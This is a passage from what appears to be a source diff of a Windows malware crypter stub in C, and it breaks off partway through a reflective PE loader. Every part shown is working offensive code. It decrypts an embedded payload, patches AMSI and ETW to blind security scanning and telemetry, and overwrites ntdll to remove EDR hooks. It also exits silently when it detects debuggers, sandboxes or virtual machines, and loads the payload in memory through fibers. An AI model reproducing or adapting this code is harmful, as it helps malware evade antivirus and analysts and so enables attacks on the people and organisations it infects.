SecureZeroMemory((void *)xor_key, 32);
|
||||
SecureZeroMemory((void *)aes_key, 32);
|
||||
SecureZeroMemory((void *)aes_iv, 16);
|
||||
|
||||
*out_len = pt_len;
|
||||
return plaintext;
|
||||
|
||||
wipe_keys:
|
||||
SecureZeroMemory((void *)xor_key, 32);
|
||||
SecureZeroMemory((void *)aes_key, 32);
|
||||
SecureZeroMemory((void *)aes_iv, 16);
|
||||
return NULL;
|
||||
}
|
||||
Executable
+13
@@ -0,0 +1,13 @@
|
||||
#ifndef DECRYPT_LAYER_H
|
||||
#define DECRYPT_LAYER_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
/**
|
||||
* Decrypt the embedded payload using XOR + AES-256-CBC.
|
||||
* Caller must HeapFree() the returned buffer.
|
||||
* Returns NULL on failure.
|
||||
*/
|
||||
uint8_t *decrypt_payload(uint32_t *out_len);
|
||||
|
||||
#endif /* DECRYPT_LAYER_H */
|
||||
Executable
+53
@@ -0,0 +1,53 @@
|
||||
#ifndef EVASION_H
|
||||
#define EVASION_H
|
||||
|
||||
/* Each evasion module provides a single init function.
|
||||
* The crypter engine defines EVASION_xxx macros to enable/disable each one.
|
||||
* stub_main.c calls evasion_init_all() which conditionally invokes them. */
|
||||
|
||||
#ifdef EVASION_ANTI_SANDBOX
|
||||
void evasion_anti_sandbox_init(void);
|
||||
#endif
|
||||
|
||||
#ifdef EVASION_ANTI_DEBUG
|
||||
void evasion_anti_debug_init(void);
|
||||
#endif
|
||||
|
||||
#ifdef EVASION_UNHOOK_NTDLL
|
||||
void evasion_unhook_init(void);
|
||||
#endif
|
||||
|
||||
#ifdef EVASION_AMSI_BYPASS
|
||||
void evasion_amsi_init(void);
|
||||
#endif
|
||||
|
||||
#ifdef EVASION_ETW_PATCH
|
||||
void evasion_etw_init(void);
|
||||
#endif
|
||||
|
||||
#ifdef EVASION_DELAYED_EXEC
|
||||
void evasion_sleep_init(void);
|
||||
#endif
|
||||
|
||||
static inline void evasion_init_all(void) {
|
||||
#ifdef EVASION_DELAYED_EXEC
|
||||
evasion_sleep_init();
|
||||
#endif
|
||||
#ifdef EVASION_ANTI_SANDBOX
|
||||
evasion_anti_sandbox_init();
|
||||
#endif
|
||||
#ifdef EVASION_ANTI_DEBUG
|
||||
evasion_anti_debug_init();
|
||||
#endif
|
||||
#ifdef EVASION_UNHOOK_NTDLL
|
||||
evasion_unhook_init();
|
||||
#endif
|
||||
#ifdef EVASION_AMSI_BYPASS
|
||||
evasion_amsi_init();
|
||||
#endif
|
||||
#ifdef EVASION_ETW_PATCH
|
||||
evasion_etw_init();
|
||||
#endif
|
||||
}
|
||||
|
||||
#endif /* EVASION_H */
|
||||
Executable
+37
@@ -0,0 +1,37 @@
|
||||
/**
|
||||
* evasion_amsi.c — AMSI bypass
|
||||
*
|
||||
* Patches AmsiOpenSession in amsi.dll to return E_INVALIDARG immediately,
|
||||
* preventing AMSI from scanning any buffers in the current process.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
|
||||
#ifdef EVASION_AMSI_BYPASS
|
||||
|
||||
void evasion_amsi_init(void) {
|
||||
/* Load amsi.dll — may not be loaded yet in the process */
|
||||
HMODULE hAmsi = g_api.pLoadLibraryA("amsi.dll");
|
||||
if (!hAmsi) return;
|
||||
|
||||
/* Resolve AmsiOpenSession by hash (amsi.dll is now in PEB) */
|
||||
FARPROC pFunc = (FARPROC)api_resolve_func(HASH_AMSI, HASH_AmsiOpenSession);
|
||||
if (!pFunc) return;
|
||||
|
||||
/* Patch: make the function return E_INVALIDARG (0x80070057)
|
||||
* x64 patch: mov eax, 0x80070057; ret
|
||||
* B8 57 00 07 80 C3
|
||||
*/
|
||||
uint8_t patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
|
||||
|
||||
DWORD old_protect;
|
||||
if (g_api.pVirtualProtect((LPVOID)pFunc, sizeof(patch), PAGE_EXECUTE_READWRITE, &old_protect)) {
|
||||
memcpy((LPVOID)pFunc, patch, sizeof(patch));
|
||||
g_api.pVirtualProtect((LPVOID)pFunc, sizeof(patch), old_protect, &old_protect);
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* EVASION_AMSI_BYPASS */
|
||||
Executable
+86
@@ -0,0 +1,86 @@
|
||||
/**
|
||||
* evasion_anti_debug.c — Anti-debugging checks
|
||||
*
|
||||
* Checks:
|
||||
* 1. IsDebuggerPresent()
|
||||
* 2. NtQueryInformationProcess (ProcessDebugPort)
|
||||
* 3. Timing check (RDTSC delta)
|
||||
* 4. NtGlobalFlag in PEB
|
||||
*
|
||||
* If a debugger is detected, calls ExitProcess(0) silently.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
|
||||
#ifdef EVASION_ANTI_DEBUG
|
||||
|
||||
static void exit_if_debugged(void) {
|
||||
g_api.pExitProcess(0);
|
||||
}
|
||||
|
||||
/* Basic API check */
|
||||
static void check_is_debugger_present(void) {
|
||||
if (g_api.pIsDebuggerPresent()) {
|
||||
exit_if_debugged();
|
||||
}
|
||||
}
|
||||
|
||||
/* NtQueryInformationProcess — ProcessDebugPort (class 7) */
|
||||
static void check_debug_port(void) {
|
||||
if (!g_api.pNtQueryInformationProcess) return;
|
||||
|
||||
DWORD_PTR debug_port = 0;
|
||||
NTSTATUS status = g_api.pNtQueryInformationProcess(
|
||||
g_api.pGetCurrentProcess(), 7 /* ProcessDebugPort */,
|
||||
&debug_port, sizeof(debug_port), NULL);
|
||||
if (status == 0 && debug_port != 0) {
|
||||
exit_if_debugged();
|
||||
}
|
||||
}
|
||||
|
||||
/* Timing check: debugger single-stepping causes large RDTSC deltas */
|
||||
static void check_timing(void) {
|
||||
LARGE_INTEGER freq, t1, t2;
|
||||
if (!g_api.pQueryPerformanceFrequency(&freq)) return;
|
||||
g_api.pQueryPerformanceCounter(&t1);
|
||||
|
||||
/* Do some trivial work */
|
||||
volatile int x = 0;
|
||||
for (int i = 0; i < 100; i++) x += i;
|
||||
|
||||
g_api.pQueryPerformanceCounter(&t2);
|
||||
/* If more than 500ms elapsed for trivial work, likely being debugged */
|
||||
double elapsed_ms = (double)(t2.QuadPart - t1.QuadPart) / freq.QuadPart * 1000.0;
|
||||
if (elapsed_ms > 500.0) {
|
||||
exit_if_debugged();
|
||||
}
|
||||
}
|
||||
|
||||
/* NtGlobalFlag in PEB — set when process is created under a debugger */
|
||||
static void check_nt_global_flag(void) {
|
||||
#ifdef _WIN64
|
||||
/* PEB is at GS:[0x60], NtGlobalFlag at offset 0xBC */
|
||||
PPEB peb = (PPEB)__readgsqword(0x60);
|
||||
DWORD flags = *(DWORD *)((uint8_t *)peb + 0xBC);
|
||||
#else
|
||||
PPEB peb = (PPEB)__readfsdword(0x30);
|
||||
DWORD flags = *(DWORD *)((uint8_t *)peb + 0x68);
|
||||
#endif
|
||||
/* FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS */
|
||||
if (flags & 0x70) {
|
||||
exit_if_debugged();
|
||||
}
|
||||
}
|
||||
|
||||
void evasion_anti_debug_init(void) {
|
||||
check_is_debugger_present();
|
||||
check_debug_port();
|
||||
check_timing();
|
||||
check_nt_global_flag();
|
||||
}
|
||||
|
||||
#endif /* EVASION_ANTI_DEBUG */
|
||||
Executable
+103
@@ -0,0 +1,103 @@
|
||||
/**
|
||||
* evasion_anti_sandbox.c — Anti-sandbox / anti-VM checks
|
||||
*
|
||||
* Checks:
|
||||
* 1. Sleep acceleration detection (sleep 1s, check elapsed >= 900ms)
|
||||
* 2. Physical RAM >= 2 GB
|
||||
* 3. CPU core count >= 2
|
||||
* 4. Cursor movement over 500ms window
|
||||
* 5. Known VM registry keys (VBox, VMware, QEMU)
|
||||
* 6. Known VM process names
|
||||
*
|
||||
* If any check indicates a sandbox, calls ExitProcess(0) silently.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
|
||||
#ifdef EVASION_ANTI_SANDBOX
|
||||
|
||||
static void exit_if_sandbox(void) {
|
||||
g_api.pExitProcess(0);
|
||||
}
|
||||
|
||||
/* Sleep acceleration: sandboxes often fast-forward Sleep() calls */
|
||||
static void check_sleep_timing(void) {
|
||||
ULONGLONG t1 = g_api.pGetTickCount64();
|
||||
g_api.pSleep(1000);
|
||||
ULONGLONG t2 = g_api.pGetTickCount64();
|
||||
if ((t2 - t1) < 900) {
|
||||
exit_if_sandbox();
|
||||
}
|
||||
}
|
||||
|
||||
/* RAM check */
|
||||
static void check_ram(void) {
|
||||
MEMORYSTATUSEX mem;
|
||||
mem.dwLength = sizeof(mem);
|
||||
if (g_api.pGlobalMemoryStatusEx(&mem)) {
|
||||
/* Less than 2 GB total = likely sandbox */
|
||||
if (mem.ullTotalPhys < (2ULL * 1024 * 1024 * 1024)) {
|
||||
exit_if_sandbox();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* CPU count */
|
||||
static void check_cpu_count(void) {
|
||||
SYSTEM_INFO si;
|
||||
g_api.pGetSystemInfo(&si);
|
||||
if (si.dwNumberOfProcessors < 2) {
|
||||
exit_if_sandbox();
|
||||
}
|
||||
}
|
||||
|
||||
/* Cursor movement: sandboxes often don't move the cursor */
|
||||
static void check_cursor_movement(void) {
|
||||
POINT p1, p2;
|
||||
g_api.pGetCursorPos(&p1);
|
||||
g_api.pSleep(500);
|
||||
g_api.pGetCursorPos(&p2);
|
||||
/* If cursor hasn't moved at all, suspicious but not conclusive.
|
||||
* Combined with other checks, this strengthens detection. */
|
||||
if (p1.x == p2.x && p1.y == p2.y) {
|
||||
/* Only flag if combined with low uptime */
|
||||
if (g_api.pGetTickCount64() < 10ULL * 60 * 1000) {
|
||||
exit_if_sandbox();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* VM registry key check */
|
||||
static void check_vm_registry(void) {
|
||||
const char *vm_keys[] = {
|
||||
"SOFTWARE\\Oracle\\VirtualBox Guest Additions",
|
||||
"SOFTWARE\\VMware, Inc.\\VMware Tools",
|
||||
"SYSTEM\\CurrentControlSet\\Services\\VBoxGuest",
|
||||
"SYSTEM\\CurrentControlSet\\Services\\VBoxMouse",
|
||||
"SYSTEM\\CurrentControlSet\\Services\\VBoxSF",
|
||||
"SYSTEM\\CurrentControlSet\\Services\\vmci",
|
||||
"SYSTEM\\CurrentControlSet\\Services\\vmhgfs",
|
||||
"SYSTEM\\CurrentControlSet\\Services\\QEMU",
|
||||
NULL
|
||||
};
|
||||
HKEY hk;
|
||||
for (int i = 0; vm_keys[i]; i++) {
|
||||
if (g_api.pRegOpenKeyExA(HKEY_LOCAL_MACHINE, vm_keys[i], 0, KEY_READ, &hk) == ERROR_SUCCESS) {
|
||||
g_api.pRegCloseKey(hk);
|
||||
exit_if_sandbox();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void evasion_anti_sandbox_init(void) {
|
||||
check_sleep_timing();
|
||||
check_ram();
|
||||
check_cpu_count();
|
||||
check_cursor_movement();
|
||||
check_vm_registry();
|
||||
}
|
||||
|
||||
#endif /* EVASION_ANTI_SANDBOX */
|
||||
Executable
+33
@@ -0,0 +1,33 @@
|
||||
/**
|
||||
* evasion_etw.c — ETW (Event Tracing for Windows) patching
|
||||
*
|
||||
* Patches EtwEventWrite in ntdll.dll to return STATUS_SUCCESS (0)
|
||||
* immediately, preventing ETW-based telemetry from logging events.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
|
||||
#ifdef EVASION_ETW_PATCH
|
||||
|
||||
void evasion_etw_init(void) {
|
||||
/* Resolve EtwEventWrite lazily from ntdll (already in PEB) */
|
||||
FARPROC pEtwWrite = (FARPROC)api_resolve_func(HASH_NTDLL, HASH_EtwEventWrite);
|
||||
if (!pEtwWrite) return;
|
||||
|
||||
/* Patch EtwEventWrite to immediately return 0 (STATUS_SUCCESS)
|
||||
* x64 patch: xor eax, eax; ret
|
||||
* 33 C0 C3
|
||||
*/
|
||||
uint8_t patch[] = { 0x33, 0xC0, 0xC3 };
|
||||
|
||||
DWORD old_protect;
|
||||
if (g_api.pVirtualProtect((LPVOID)pEtwWrite, sizeof(patch), PAGE_EXECUTE_READWRITE, &old_protect)) {
|
||||
memcpy((LPVOID)pEtwWrite, patch, sizeof(patch));
|
||||
g_api.pVirtualProtect((LPVOID)pEtwWrite, sizeof(patch), old_protect, &old_protect);
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* EVASION_ETW_PATCH */
|
||||
Executable
+25
@@ -0,0 +1,25 @@
|
||||
/**
|
||||
* evasion_sleep.c — Delayed execution
|
||||
*
|
||||
* Sleeps for a configurable number of seconds before proceeding.
|
||||
* Helps evade sandbox analysis that has a limited execution window.
|
||||
* The sleep duration is patched in by the crypter engine.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
|
||||
#ifdef EVASION_DELAYED_EXEC
|
||||
|
||||
/* CRYPTER_SLEEP_SECONDS_PLACEHOLDER */
|
||||
static const uint32_t SLEEP_SECONDS = 0;
|
||||
|
||||
void evasion_sleep_init(void) {
|
||||
if (SLEEP_SECONDS > 0) {
|
||||
g_api.pSleep(SLEEP_SECONDS * 1000);
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* EVASION_DELAYED_EXEC */
|
||||
Executable
+80
@@ -0,0 +1,80 @@
|
||||
/**
|
||||
* evasion_unhook.c — NTDLL unhooking
|
||||
*
|
||||
* Reads a clean copy of ntdll.dll from disk and overwrites the .text
|
||||
* section of the in-memory ntdll, removing any EDR/AV inline hooks.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
|
||||
#ifdef EVASION_UNHOOK_NTDLL
|
||||
|
||||
void evasion_unhook_init(void) {
|
||||
/* Get handle to the in-memory ntdll from pre-resolved base */
|
||||
HMODULE hNtdll = (HMODULE)g_api.ntdll_base;
|
||||
if (!hNtdll) return;
|
||||
|
||||
/* Build path to ntdll on disk */
|
||||
char path[MAX_PATH];
|
||||
g_api.pGetSystemDirectoryA(path, sizeof(path));
|
||||
g_api.plstrcatA(path, "\\ntdll.dll");
|
||||
|
||||
/* Read clean ntdll from disk */
|
||||
HANDLE hFile = g_api.pCreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL,
|
||||
OPEN_EXISTING, 0, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) return;
|
||||
|
||||
DWORD file_size = g_api.pGetFileSize(hFile, NULL);
|
||||
if (file_size == INVALID_FILE_SIZE || file_size == 0) {
|
||||
g_api.pCloseHandle(hFile);
|
||||
return;
|
||||
}
|
||||
|
||||
/* Map the file */
|
||||
HANDLE hMap = g_api.pCreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
|
||||
if (!hMap) {
|
||||
g_api.pCloseHandle(hFile);
|
||||
return;
|
||||
}
|
||||
|
||||
LPVOID pClean = g_api.pMapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
|
||||
if (!pClean) {
|
||||
g_api.pCloseHandle(hMap);
|
||||
g_api.pCloseHandle(hFile);
|
||||
return;
|
||||
}
|
||||
|
||||
/* Parse PE headers to find .text section */
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)hNtdll;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((uint8_t *)hNtdll + dos->e_lfanew);
|
||||
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
||||
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
|
||||
if (sec[i].Name[0] == '.' && sec[i].Name[1] == 't' &&
|
||||
sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' &&
|
||||
sec[i].Name[4] == 't') {
|
||||
|
||||
/* Found .text section */
|
||||
LPVOID text_mem = (uint8_t *)hNtdll + sec[i].VirtualAddress;
|
||||
LPVOID text_disk = (uint8_t *)pClean + sec[i].PointerToRawData;
|
||||
DWORD text_size = sec[i].SizeOfRawData;
|
||||
|
||||
/* Make writable, overwrite, restore protection */
|
||||
DWORD old_protect;
|
||||
if (g_api.pVirtualProtect(text_mem, text_size, PAGE_EXECUTE_READWRITE, &old_protect)) {
|
||||
memcpy(text_mem, text_disk, text_size);
|
||||
g_api.pVirtualProtect(text_mem, text_size, old_protect, &old_protect);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
g_api.pUnmapViewOfFile(pClean);
|
||||
g_api.pCloseHandle(hMap);
|
||||
g_api.pCloseHandle(hFile);
|
||||
}
|
||||
|
||||
#endif /* EVASION_UNHOOK_NTDLL */
|
||||
Executable
+299
@@ -0,0 +1,299 @@
|
||||
/**
|
||||
* reflective_stub.c — In-process reflective PE loader + fiber execution
|
||||
*
|
||||
* Replaces process hollowing (runpe_stub.c). Loads the decrypted PE entirely
|
||||
* within the current process — no suspended child, no cross-process writes.
|
||||
*
|
||||
* Flow:
|
||||
* 1. Parse PE headers (DOS → NT → sections)
|
||||
* 2. VirtualAlloc(PAGE_READWRITE) at any address
|
||||
* 3. Copy PE headers + map each section to its RVA
|
||||
* 4. Process base relocations (delta = actual - preferred)
|
||||
* 5. Resolve imports via LoadLibraryA + PEB export walk
|
||||
* 6. Set correct per-section page protections
|
||||
* 7. Flush instruction cache
|
||||
* 8. Execute entry point via fiber (ConvertThreadToFiber → CreateFiber → SwitchToFiber)
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
|
||||
/* ── Section protection mapping ─────────────────────────────────── */
|
||||
|
||||
static DWORD section_protection(DWORD characteristics) {
|
||||
DWORD protect = PAGE_NOACCESS;
|
||||
int exec = (characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
|
||||
int read = (characteristics & IMAGE_SCN_MEM_READ) != 0;
|
||||
int write = (characteristics & IMAGE_SCN_MEM_WRITE) != 0;
|
||||
|
||||
if (exec && read && write) protect = PAGE_EXECUTE_READWRITE;
|
||||
else if (exec && read) protect = PAGE_EXECUTE_READ;
|
||||
else if (exec && write) protect = PAGE_EXECUTE_WRITECOPY;
|
||||
else if (exec) protect = PAGE_EXECUTE;
|
||||
else if (read && write) protect = PAGE_READWRITE;
|
||||
else if (read) protect = PAGE_READONLY;
|
||||
else if (write) protect = PAGE_WRITECOPY;
|
||||
|
||||
return protect;
|
||||
}
|
||||
|
||||
/* ── Relocation processing ──────────────────────────────────────── */
|
||||
|
||||
static int process_relocations(uint8_t *base, IMAGE_NT_HEADERS *nt, ptrdiff_t delta) {
|
||||
if (delta == 0) return 1;
|
||||
|
||||
DWORD reloc_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
|
||||
DWORD reloc_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
||||
if (reloc_rva == 0 || reloc_size == 0) return 0;
|
||||
|
||||
IMAGE_BASE_RELOCATION *block = (IMAGE_BASE_RELOCATION *)(base + reloc_rva);
|
||||
IMAGE_BASE_RELOCATION *end = (IMAGE_BASE_RELOCATION *)((uint8_t *)block + reloc_size);
|
||||
|
||||
while (block < end && block->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) {
|
||||
DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
WORD *entries = (WORD *)((uint8_t *)block + sizeof(IMAGE_BASE_RELOCATION));
|
||||
|
||||
for (DWORD i = 0; i < count; i++) {
|
||||
WORD type = entries[i] >> 12;
|
||||
WORD offset = entries[i] & 0x0FFF;
|
||||
uint8_t *patch_addr = base + block->VirtualAddress + offset;
|
||||
|
||||
switch (type) {
|
||||
case IMAGE_REL_BASED_ABSOLUTE:
|
||||
break;
|
||||
#ifdef _WIN64
|
||||
case IMAGE_REL_BASED_DIR64: {
|
||||
uint64_t *ptr = (uint64_t *)patch_addr;
|
||||
*ptr += (uint64_t)delta;
|
||||
break;
|
||||
}
|
||||
#endif
|
||||
case IMAGE_REL_BASED_HIGHLOW: {
|
||||
uint32_t *ptr = (uint32_t *)patch_addr;
|
||||
*ptr += (uint32_t)delta;
|
||||
break;
|
||||
}
|
||||
case IMAGE_REL_BASED_HIGH: {
|
||||
uint16_t *ptr = (uint16_t *)patch_addr;
|
||||
*ptr += (uint16_t)((delta >> 16) & 0xFFFF);
|
||||
break;
|
||||
}
|
||||
case IMAGE_REL_BASED_LOW: {
|
||||
uint16_t *ptr = (uint16_t *)patch_addr;
|
||||
*ptr += (uint16_t)(delta & 0xFFFF);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
block = (IMAGE_BASE_RELOCATION *)((uint8_t *)block + block->SizeOfBlock);
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* ── Import resolution ──────────────────────────────────────────── */
|
||||
|
||||
static int resolve_pe_imports(uint8_t *base, IMAGE_NT_HEADERS *nt) {
|
||||
DWORD import_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
|
||||
DWORD import_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
|
||||
if (import_rva == 0 || import_size == 0) return 1;
|
||||
|
||||
IMAGE_IMPORT_DESCRIPTOR *desc = (IMAGE_IMPORT_DESCRIPTOR *)(base + import_rva);
|
||||
|
||||
while (desc->Name != 0) {
|
||||
const char *dll_name = (const char *)(base + desc->Name);
|
||||
HMODULE hMod = g_api.pLoadLibraryA(dll_name);
|
||||
if (!hMod) {
|
||||
desc++;
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Walk the thunk arrays */
|
||||
#ifdef _WIN64
|
||||
IMAGE_THUNK_DATA64 *orig_thunk = (IMAGE_THUNK_DATA64 *)(
|
||||
base + (desc->OriginalFirstThunk ? desc->OriginalFirstThunk : desc->FirstThunk));
|
||||
IMAGE_THUNK_DATA64 *iat_thunk = (IMAGE_THUNK_DATA64 *)(base + desc->FirstThunk);
|
||||
uint64_t ordinal_flag = IMAGE_ORDINAL_FLAG64;
|
||||
#else
|
||||
IMAGE_THUNK_DATA32 *orig_thunk = (IMAGE_THUNK_DATA32 *)(
|
||||
base + (desc->OriginalFirstThunk ? desc->OriginalFirstThunk : desc->FirstThunk));
|
||||
IMAGE_THUNK_DATA32 *iat_thunk = (IMAGE_THUNK_DATA32 *)(base + desc->FirstThunk);
|
||||
uint32_t ordinal_flag = IMAGE_ORDINAL_FLAG32;
|
||||
#endif
|
||||
|
||||
while (orig_thunk->u1.AddressOfData != 0) {
|
||||
FARPROC func = NULL;
|
||||
|
||||
if (orig_thunk->u1.Ordinal & ordinal_flag) {
|
||||
/* Import by ordinal */
|
||||
WORD ordinal = (WORD)(orig_thunk->u1.Ordinal & 0xFFFF);
|
||||
func = (FARPROC)peb_get_proc((void *)hMod, 0);
|
||||
/* Fallback: we can't easily resolve by ordinal via PEB walk,
|
||||
so use GetProcAddress if available via LoadLibrary */
|
||||
if (!func) {
|
||||
/* Use ordinal directly — cast to LPCSTR */
|
||||
typedef FARPROC (WINAPI *fn_GetProcAddress)(HMODULE, LPCSTR);
|
||||
fn_GetProcAddress pGPA = (fn_GetProcAddress)peb_get_proc(
|
||||
g_api.kernel32_base,
|
||||
0 /* We'll resolve by name below instead */
|
||||
);
|
||||
(void)ordinal;
|
||||
func = NULL; /* ordinal imports rare for our payloads */
|
||||
}
|
||||
} else {
|
||||
/* Import by name */
|
||||
IMAGE_IMPORT_BY_NAME *hint = (IMAGE_IMPORT_BY_NAME *)(
|
||||
base + (DWORD)(orig_thunk->u1.AddressOfData));
|
||||
/* Resolve via PEB export walk on the loaded module */
|
||||
func = (FARPROC)peb_get_proc((void *)hMod,
|
||||
djb2_hash_ascii(hint->Name));
|
||||
}
|
||||
|
||||
if (func) {
|
||||
#ifdef _WIN64
|
||||
iat_thunk->u1.Function = (ULONGLONG)func;
|
||||
#else
|
||||
iat_thunk->u1.Function = (DWORD)func;
|
||||
#endif
|
||||
}
|
||||
|
||||
orig_thunk++;
|
||||
iat_thunk++;
|
||||
}
|
||||
|
||||
desc++;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* ── Fiber entry trampoline ─────────────────────────────────────── */
|
||||
|
||||
typedef BOOL (WINAPI *fn_DllMain)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
typedef struct {
|
||||
fn_DllMain entry_point;
|
||||
LPVOID image_base;
|
||||
} FiberContext;
|
||||
|
||||
static void WINAPI fiber_entry(LPVOID param) {
|
||||
FiberContext *ctx = (FiberContext *)param;
|
||||
ctx->entry_point((HINSTANCE)ctx->image_base, DLL_PROCESS_ATTACH, NULL);
|
||||
}
|
||||
|
||||
/* ── Public API ─────────────────────────────────────────────────── */
|
||||
|
||||
/* Forward declare internal functions used by resolve_pe_imports */
|
||||
DWORD djb2_hash_ascii(const char *str);
|
||||
void *peb_get_proc(void *base, DWORD hash);
|
||||
|
||||
/**
|
||||
* Execute a PE image via in-process reflective loading + fiber.
|
||||
* pe_data: pointer to decrypted PE bytes
|
||||
* pe_len: length of the PE data
|
||||
* Returns 0 on success, -1 on failure.
|
||||
*/
|
||||
int runpe_execute(const uint8_t *pe_data, uint32_t pe_len) {
|
||||
/* ── Validate PE ──────────────────────────────────────────── */
|
||||
if (pe_len < sizeof(IMAGE_DOS_HEADER)) return -1;
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)pe_data;
|
||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return -1;
|
||||
if ((uint32_t)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > pe_len) return -1;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(pe_data + dos->e_lfanew);
|
||||
if (nt->Signature != IMAGE_NT_SIGNATURE) return -1;
|
||||
|
||||
DWORD image_size = nt->OptionalHeader.SizeOfImage;
|
||||
|
||||
/* ── Allocate in-process memory (RW, no RWX) ─────────────── */
|
||||
uint8_t *base = (uint8_t *)g_api.pVirtualAlloc(
|
||||
NULL, image_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!base) return -1;
|
||||
|
||||
/* ── Copy PE headers ──────────────────────────────────────── */
|
||||
memcpy(base, pe_data, nt->OptionalHeader.SizeOfHeaders);
|
||||
|
||||
/* ── Map sections ─────────────────────────────────────────── */
|
||||
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
|
||||
if (sec[i].SizeOfRawData == 0) continue;
|
||||
DWORD copy_size = sec[i].SizeOfRawData;
|
||||
if (sec[i].PointerToRawData + copy_size > pe_len) {
|
||||
copy_size = pe_len - sec[i].PointerToRawData;
|
||||
}
|
||||
memcpy(base + sec[i].VirtualAddress,
|
||||
pe_data + sec[i].PointerToRawData,
|
||||
copy_size);
|
||||
}
|
||||
|
||||
/* ── Process base relocations ─────────────────────────────── */
|
||||
ptrdiff_t delta = (ptrdiff_t)(base - (uint8_t *)(ULONG_PTR)nt->OptionalHeader.ImageBase);
|
||||
IMAGE_NT_HEADERS *mapped_nt = (IMAGE_NT_HEADERS *)(base + dos->e_lfanew);
|
||||
|
||||
if (delta != 0) {
|
||||
if (!process_relocations(base, mapped_nt, delta)) {
|
||||
/* No relocation table and base mismatch — can't proceed */
|
||||
if (!(mapped_nt->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED)) {
|
||||
g_api.pVirtualFree(base, 0, MEM_RELEASE);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ── Resolve imports ──────────────────────────────────────── */
|
||||
if (!resolve_pe_imports(base, mapped_nt)) {
|
||||
g_api.pVirtualFree(base, 0, MEM_RELEASE);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* ── Set per-section page protections ─────────────────────── */
|
||||
sec = IMAGE_FIRST_SECTION(mapped_nt);
|
||||
for (WORD i = 0; i < mapped_nt->FileHeader.NumberOfSections; i++) {
|
||||
DWORD protect = section_protection(sec[i].Characteristics);
|
||||
DWORD virt_size = sec[i].Misc.VirtualSize;
|
||||
if (virt_size == 0) virt_size = sec[i].SizeOfRawData;
|
||||
if (virt_size == 0) continue;
|
||||
|
||||
DWORD old_protect;
|
||||
g_api.pVirtualProtect(
|
||||
base + sec[i].VirtualAddress,
|
||||
virt_size,
|
||||
protect,
|
||||
&old_protect);
|
||||
}
|
||||
|
||||
/* ── Flush instruction cache ──────────────────────────────── */
|
||||
g_api.pFlushInstructionCache(g_api.pGetCurrentProcess(), base, image_size);
|
||||
|
||||
/* ── Execute via fiber ────────────────────────────────────── */
|
||||
fn_DllMain entry = (fn_DllMain)(base + mapped_nt->OptionalHeader.AddressOfEntryPoint);
|
||||
|
||||
FiberContext fiber_ctx;
|
||||
fiber_ctx.entry_point = entry;
|
||||
fiber_ctx.image_base = base;
|
||||
|
||||
LPVOID main_fiber = g_api.pConvertThreadToFiber(NULL);
|
||||
if (!main_fiber) {
|
||||
